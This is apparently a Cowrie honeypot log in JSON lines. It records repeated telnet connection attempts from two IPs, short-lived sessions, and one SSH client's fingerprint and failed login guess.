{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":43258,"dst_ip":"10.17.0.5","dst_port":23,"session":"9adfbf85940a","protocol":"telnet","message":"New connection: 144.79.218.12:43258 (10.17.0.5:23) [session: 9adfbf85940a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:27.586333Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":43266,"dst_ip":"10.17.0.5","dst_port":23,"session":"f29120ee1072","protocol":"telnet","message":"New connection: 144.79.218.12:43266 (10.17.0.5:23) [session: f29120ee1072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:27.770931Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38608,"dst_ip":"159.203.135.109","dst_port":23,"session":"a65e64767b01","protocol":"telnet","message":"New connection: 69.6.225.50:38608 (159.203.135.109:23) [session: a65e64767b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:28.427836Z"}
{"eventid":"cowrie.session.closed","duration":30.97535228729248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:29.076229Z","src_ip":"69.6.225.50","session":"d63493c036eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09364151954651,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:29.081098Z","src_ip":"69.6.225.50","session":"6d84cde2a51e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19532585144043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:29.103767Z","src_ip":"69.6.225.50","session":"33d94ce4f5cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02132296562195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:29.162444Z","src_ip":"69.6.225.50","session":"cf036d2bf028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39390,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaabaa19befa","protocol":"telnet","message":"New connection: 144.79.218.12:39390 (10.17.0.5:23) [session: eaabaa19befa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:29.190707Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39400,"dst_ip":"10.17.0.5","dst_port":23,"session":"296452c26b05","protocol":"telnet","message":"New connection: 144.79.218.12:39400 (10.17.0.5:23) [session: 296452c26b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:29.670118Z"}
{"eventid":"cowrie.session.closed","duration":31.29098105430603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:29.953875Z","src_ip":"69.6.225.50","session":"c2b2de1a2e12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47258,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9e1c653b308","protocol":"telnet","message":"New connection: 69.6.225.50:47258 (159.203.135.109:23) [session: e9e1c653b308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:30.326740Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39416,"dst_ip":"10.17.0.5","dst_port":23,"session":"00eef6d544ce","protocol":"telnet","message":"New connection: 144.79.218.12:39416 (10.17.0.5:23) [session: 00eef6d544ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:30.479712Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38618,"dst_ip":"159.203.135.109","dst_port":23,"session":"104b62f2134c","protocol":"telnet","message":"New connection: 69.6.225.50:38618 (159.203.135.109:23) [session: 104b62f2134c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:30.646538Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38620,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b2a6d440d19","protocol":"telnet","message":"New connection: 69.6.225.50:38620 (159.203.135.109:23) [session: 4b2a6d440d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:30.899811Z"}
{"eventid":"cowrie.session.closed","duration":30.793989419937134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:31.052516Z","src_ip":"69.6.225.50","session":"bed4a104750d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97106170654297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:31.145864Z","src_ip":"69.6.225.50","session":"9edc6f666b12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128870725631714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:31.197281Z","src_ip":"69.6.225.50","session":"225af21c8193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39430,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dafc0e234ba","protocol":"telnet","message":"New connection: 144.79.218.12:39430 (10.17.0.5:23) [session: 2dafc0e234ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:31.363253Z"}
{"eventid":"cowrie.session.closed","duration":30.828718185424805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:32.043592Z","src_ip":"69.6.225.50","session":"c3b3f1de5bfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39440,"dst_ip":"10.17.0.5","dst_port":23,"session":"695e5732bc01","protocol":"telnet","message":"New connection: 144.79.218.12:39440 (10.17.0.5:23) [session: 695e5732bc01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:32.985458Z"}
{"eventid":"cowrie.session.closed","duration":30.972649574279785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:33.068389Z","src_ip":"69.6.225.50","session":"adfcad379cff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38632,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c6c7e0ee006","protocol":"telnet","message":"New connection: 69.6.225.50:38632 (159.203.135.109:23) [session: 1c6c7e0ee006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:33.487416Z"}
{"eventid":"cowrie.session.closed","duration":30.810621976852417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:33.655643Z","src_ip":"69.6.225.50","session":"696d2a56c544","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.417838096618652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:34.054271Z","src_ip":"69.6.225.50","session":"628f3dac5132","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.578675031661987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:34.060793Z","src_ip":"69.6.225.50","session":"1dc304688aed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.366644144058228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:34.066490Z","src_ip":"69.6.225.50","session":"97f2b76b5b9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98336696624756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:34.090686Z","src_ip":"69.6.225.50","session":"824d11cabc27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38644,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ac657260404","protocol":"telnet","message":"New connection: 69.6.225.50:38644 (159.203.135.109:23) [session: 4ac657260404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:34.212332Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39446,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6cd4b4d65b8","protocol":"telnet","message":"New connection: 144.79.218.12:39446 (10.17.0.5:23) [session: a6cd4b4d65b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:34.241816Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38656,"dst_ip":"159.203.135.109","dst_port":23,"session":"f695b3246305","protocol":"telnet","message":"New connection: 69.6.225.50:38656 (159.203.135.109:23) [session: f695b3246305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:34.274895Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38668,"dst_ip":"159.203.135.109","dst_port":23,"session":"70eb839e1ab4","protocol":"telnet","message":"New connection: 69.6.225.50:38668 (159.203.135.109:23) [session: 70eb839e1ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:34.562170Z"}
{"eventid":"cowrie.session.closed","duration":30.715943336486816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:35.069436Z","src_ip":"69.6.225.50","session":"3d03d993f72c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38682,"dst_ip":"159.203.135.109","dst_port":23,"session":"cddfe67f0671","protocol":"telnet","message":"New connection: 69.6.225.50:38682 (159.203.135.109:23) [session: cddfe67f0671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:35.294182Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39450,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4eca7e95c33","protocol":"telnet","message":"New connection: 144.79.218.12:39450 (10.17.0.5:23) [session: c4eca7e95c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:35.428103Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39462,"dst_ip":"10.17.0.5","dst_port":23,"session":"8731bcd6e95f","protocol":"telnet","message":"New connection: 144.79.218.12:39462 (10.17.0.5:23) [session: 8731bcd6e95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:35.873500Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39468,"dst_ip":"10.17.0.5","dst_port":23,"session":"5349546458d4","protocol":"telnet","message":"New connection: 144.79.218.12:39468 (10.17.0.5:23) [session: 5349546458d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:36.240968Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38686,"dst_ip":"159.203.135.109","dst_port":23,"session":"c93cf4afe732","protocol":"telnet","message":"New connection: 69.6.225.50:38686 (159.203.135.109:23) [session: c93cf4afe732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:36.468557Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38690,"dst_ip":"159.203.135.109","dst_port":23,"session":"833afd3920e3","protocol":"telnet","message":"New connection: 69.6.225.50:38690 (159.203.135.109:23) [session: 833afd3920e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:36.515819Z"}
{"eventid":"cowrie.session.closed","duration":30.71857500076294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:37.067479Z","src_ip":"69.6.225.50","session":"4b315a745d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39474,"dst_ip":"10.17.0.5","dst_port":23,"session":"98bbff17f086","protocol":"telnet","message":"New connection: 144.79.218.12:39474 (10.17.0.5:23) [session: 98bbff17f086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:37.111589Z"}
{"eventid":"cowrie.session.closed","duration":30.41420888900757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:37.169225Z","src_ip":"69.6.225.50","session":"45d0c9a2e640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38698,"dst_ip":"159.203.135.109","dst_port":23,"session":"f63ab965ce1d","protocol":"telnet","message":"New connection: 69.6.225.50:38698 (159.203.135.109:23) [session: f63ab965ce1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:37.443810Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38712,"dst_ip":"159.203.135.109","dst_port":23,"session":"1db65b214f84","protocol":"telnet","message":"New connection: 69.6.225.50:38712 (159.203.135.109:23) [session: 1db65b214f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:37.676225Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":58448,"dst_ip":"159.203.135.109","dst_port":22,"session":"392c5010d9fa","protocol":"ssh","message":"New connection: 91.134.240.52:58448 (159.203.135.109:22) [session: 392c5010d9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:38.004653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:38.011283Z","src_ip":"91.134.240.52","session":"392c5010d9fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":39482,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7ef28e79c6c","protocol":"telnet","message":"New connection: 144.79.218.12:39482 (10.17.0.5:23) [session: d7ef28e79c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:38.056131Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:38.087437Z","src_ip":"91.134.240.52","session":"392c5010d9fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.972473859786987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:38.115020Z","src_ip":"69.6.225.50","session":"37bbe75b5009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55490,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e53d5a5958","protocol":"telnet","message":"New connection: 69.6.225.50:55490 (159.203.135.109:23) [session: e0e53d5a5958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:38.192546Z"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester321","message":"login attempt [tester/tester321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:38.429494Z","src_ip":"91.134.240.52","session":"392c5010d9fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55504,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab39bc946a4e","protocol":"telnet","message":"New connection: 69.6.225.50:55504 (159.203.135.109:23) [session: ab39bc946a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:38.658237Z"}
{"eventid":"cowrie.session.closed","duration":31.045979261398315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:39.053087Z","src_ip":"69.6.225.50","session":"82cf6d555eec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01269292831421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:39.193689Z","src_ip":"69.6.225.50","session":"0becc9cd36e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:39.506020Z","src_ip":"91.134.240.52","session":"392c5010d9fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55512,"dst_ip":"159.203.135.109","dst_port":23,"session":"770523e9a68d","protocol":"telnet","message":"New connection: 69.6.225.50:55512 (159.203.135.109:23) [session: 770523e9a68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:39.802655Z"}
{"eventid":"cowrie.session.closed","duration":30.53053617477417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:40.387825Z","src_ip":"69.6.225.50","session":"0ed817df22ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55524,"dst_ip":"159.203.135.109","dst_port":23,"session":"74fcf4e97bec","protocol":"telnet","message":"New connection: 69.6.225.50:55524 (159.203.135.109:23) [session: 74fcf4e97bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:40.495354Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55540,"dst_ip":"159.203.135.109","dst_port":23,"session":"428428a6bfe2","protocol":"telnet","message":"New connection: 69.6.225.50:55540 (159.203.135.109:23) [session: 428428a6bfe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:40.582569Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55550,"dst_ip":"159.203.135.109","dst_port":23,"session":"00c1520d4b4f","protocol":"telnet","message":"New connection: 69.6.225.50:55550 (159.203.135.109:23) [session: 00c1520d4b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:40.676115Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55564,"dst_ip":"159.203.135.109","dst_port":23,"session":"df9e68f4499b","protocol":"telnet","message":"New connection: 69.6.225.50:55564 (159.203.135.109:23) [session: df9e68f4499b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:40.736431Z"}
{"eventid":"cowrie.session.closed","duration":31.135723114013672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:41.046763Z","src_ip":"69.6.225.50","session":"fffb652d2ba1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98690700531006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:41.061927Z","src_ip":"69.6.225.50","session":"974bdeeb832b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55566,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e1eb1734d8f","protocol":"telnet","message":"New connection: 69.6.225.50:55566 (159.203.135.109:23) [session: 6e1eb1734d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:41.383303Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55568,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2e53abaa729","protocol":"telnet","message":"New connection: 69.6.225.50:55568 (159.203.135.109:23) [session: b2e53abaa729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:41.566507Z"}
{"eventid":"cowrie.session.closed","duration":31.19804573059082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:42.133782Z","src_ip":"69.6.225.50","session":"d530524695b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80756711959839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:42.212516Z","src_ip":"69.6.225.50","session":"d159d13af4e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41482,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df8be578d9b","protocol":"telnet","message":"New connection: 144.79.218.12:41482 (10.17.0.5:23) [session: 1df8be578d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:42.242207Z"}
{"eventid":"cowrie.session.closed","duration":31.033541917800903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:42.372036Z","src_ip":"69.6.225.50","session":"2abed120e226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55584,"dst_ip":"159.203.135.109","dst_port":23,"session":"e85966be457c","protocol":"telnet","message":"New connection: 69.6.225.50:55584 (159.203.135.109:23) [session: e85966be457c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:42.720467Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55594,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f79ec3b652a","protocol":"telnet","message":"New connection: 69.6.225.50:55594 (159.203.135.109:23) [session: 1f79ec3b652a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:42.871471Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41496,"dst_ip":"10.17.0.5","dst_port":23,"session":"07dbd29f2f9d","protocol":"telnet","message":"New connection: 144.79.218.12:41496 (10.17.0.5:23) [session: 07dbd29f2f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:42.934343Z"}
{"eventid":"cowrie.session.closed","duration":31.201570510864258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:43.280225Z","src_ip":"69.6.225.50","session":"7ef50c663547","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41500,"dst_ip":"10.17.0.5","dst_port":23,"session":"059bf3de5796","protocol":"telnet","message":"New connection: 144.79.218.12:41500 (10.17.0.5:23) [session: 059bf3de5796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:43.719133Z"}
{"eventid":"cowrie.session.closed","duration":31.039108276367188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:44.121480Z","src_ip":"69.6.225.50","session":"f0e9e984df30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55606,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d4ec1e4c655","protocol":"telnet","message":"New connection: 69.6.225.50:55606 (159.203.135.109:23) [session: 9d4ec1e4c655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:44.636925Z"}
